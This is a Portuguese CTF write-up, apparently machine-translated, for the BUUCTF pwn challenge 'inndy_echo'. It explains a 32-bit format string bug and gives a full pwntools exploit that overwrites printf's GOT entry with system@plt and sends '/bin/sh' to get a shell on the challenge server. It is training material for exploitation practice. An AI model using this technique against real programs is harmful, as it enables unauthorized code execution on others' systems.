[BUUCTF] PWN —— inndy_echo (fmt de 32 bits para modificar a tabela obtida)

inndy_echo

anexo

degrau

  1. Inspeção de rotina, programa de 32 bits, proteção nx ativada
    Insira a descrição da imagem aqui

  2. Tente uma execução de teste local para ver a situação geral. Eu vi que existem vulnerabilidades de string de formato e quais podem ser inseridas o tempo todo.
    Insira a descrição da imagem aqui

  3. O ida de 32 bits foi carregado e
    Insira a descrição da imagem aqui
    vi que havia uma vulnerabilidade de formato de string no programa e uma função do sistema. Pensei em alterar printf @ got para system @ plt. Como o sistema não foi executado no início, o endereço em a tabela obtida estava incorreta. Você deve usar a tabela plt interna. Em seguida, passe bin / sh

  4. pwntools integra uma ferramenta poderosa através da qual podemos modificar rapidamente o valor correspondente.
    Formato do comando: fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
    Argue_place representa a posição do parâmetro dos primeiros quatro caracteres na carga útil (isto é, o valor de p em% p $ n, nós o chamamos de deslocamento )

  5. Depois de esclarecer a ideia, primeiro determine o deslocamento, determine o deslocamento é 7,
    Insira a descrição da imagem aqui
    para que você possa usar diretamente fmtstr_payload (7, {print_got: system_plt}) para concluir a modificação e, em seguida, passe o parâmetro '/ bin / sh'

Exp total

from pwn import *

r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')

printf_got=elf.got['printf']
system_plt=elf.plt['system']

payload=fmtstr_payload(7,{
    
    printf_got:system_plt})

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

Acho que você gosta

Origin blog.csdn.net/mcmuyanga/article/details/113509240
Recomendado
Clasificación